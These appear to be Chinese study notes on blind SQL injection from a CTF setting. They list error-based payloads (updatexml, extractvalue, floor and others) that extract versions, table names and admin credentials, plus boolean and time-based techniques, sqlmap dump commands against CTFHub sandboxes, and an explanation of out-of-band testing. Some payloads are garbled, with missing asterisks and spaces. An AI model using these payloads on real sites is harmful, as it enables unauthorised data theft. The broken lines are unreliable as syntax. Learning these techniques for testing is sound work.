盲注
有时候注入无回显,可能是网站将回显信息进行加工然后输出,需要盲注
也可能是数据库操作本身没有回显,如insert
四种查询方式:select insert delete update
order by $id 排序
报错盲注
强制报错,利用报错回显
当它显示报错位置时可用
几种常用方式:floor updatexml extractvalue
updatexml(1,2,3):2是注入语句位置
2处填充concat(0x7e,(select @@version),0x7e)
extractvalue(1,2):2是
https://www.jianshu.com/p/bc35f8dd4f7c
报错函数一次最多输出32个字符
updatexml报错注入
爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1) 爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1) 爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1) 爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
布尔盲注
不需要回显
有时网站判断数据库交互结果是否为空,从而显示
所以利用布尔盲注,将查询id等 换为 自己的查询语句,利用是否正常显示来判断自己的查询语句是否正确(还是要猜,和时间盲注差不多)
sql截取函数:
mid(xx,1,1):从第一个开始的1位
substr(xxx,1,1):从第一个开始的1位
left(xxx,1)
if判断:
if(1,2,3),1为true,则执行2,1为false,则执行3
?id=if(substr(database(),1,1)="s",1,(select table_name from information_schema.tables))
时间盲注
不需要回显,根据网页回显时间来判断是否正确
and sleep(1)为延迟1s执行
if(a,b,c)如果满足a,那么执行b,否则执行c
?id=1 and sleep(if(database()='mysql',sleep(5),0))--+??????
?id=if((substr(database(),1,1)='s',sleep(5),1)
如果手工,只能用if判断,需要盲猜。最好使用工具
手工:现判断名称长度length()=,在判断每个位置的字符(a-Z,1-9)
limit 0,1:从0开始,1为步长
mid函数从1开始
python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli -T flag -C flag --dump
python2 sqlmap.py -u http://challenge-60aeb65f3607bcc5.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli -T flag -C flag --dump
使用工具时间盲注,要记得设置响应时间,避免延迟时间过长导致...认为目的不可达
OAST技术
OAST:带外应用程序安全测试,是使用外部服务器来帮助我们来查看无回显的漏洞
带外应用安全测试(OAST) - 知乎 (zhihu.com)
带外应用程序安全测试 (OAST) 软件 - PortSwigger
带内攻击模型
我们发送有效载荷,服务器也就是目标网站执行并返回执行后的响应。这种方式属于我们与目标建立的一个通信信道,可以信道理解成一个管道,数据交互都是在管道内来回传输,数据并不会超出这个管道范围,所以我们可以形象的认为这种方式属于带内攻击

前面我也提到了,这种方式无法直接检测没有回显的漏洞,PostSwigger 引入了 Burp Collaborator,帮助渗透测试人员解决了这一问题,
带外攻击模型

在带外攻击中,攻击发出的请求并不会直接返回攻击者,而是携带着载荷执行后的响应与我们的带外服务器(burp collaborator)产生了交互。
注:
主流的集中应用安全测试技术:
DAST: 动态应用程序安全测试(Dynamic Application Security Testing)技术在测试或运行阶段分析应用程序的动态运行状态。它模拟黑客行为对应用程序进行动态攻击,分析应用程序的反应,从而确定该Web应用是否易受攻击。
SAST:静态应用程序安全测试(Static Application Security Testing)技术通常在编码阶段分析应用程序的源代码或二进制文件的语法、结构、过程、接口等来发现程序代码存在的安全漏洞。
IAST:交互式应用程序安全测试(Interactive Application Security Testing)是2012年 Gartner 公司提出的一种新的应用程序安全测试方案,通过代理、VPN或者在服务端部署Agent程序,收集、监控Web应用程序运行时函数执行、数据传输,并与扫描器端进行实时交互,高效、准确的识别安全缺陷及漏洞,同时可准确确定漏洞所在的代码文件、行数、函数及参数。IAST相当于是 DAST 和 SAST 结合的一种互相关联运行时安全检测技术。
OAST 结合了传统 DAST 的交付机制和 IAST 的检测能力。它动态地发送检测代码到应用程序,当以不安全的方式被执行时,就会触发漏洞,攻击的结果不会直接返回到响应包中,而是使其与外部系统进行网络互动(例如:DNS)。互动的内容包括了漏洞的类型和触发互动的输入点。
浙公网安备 33010602011771号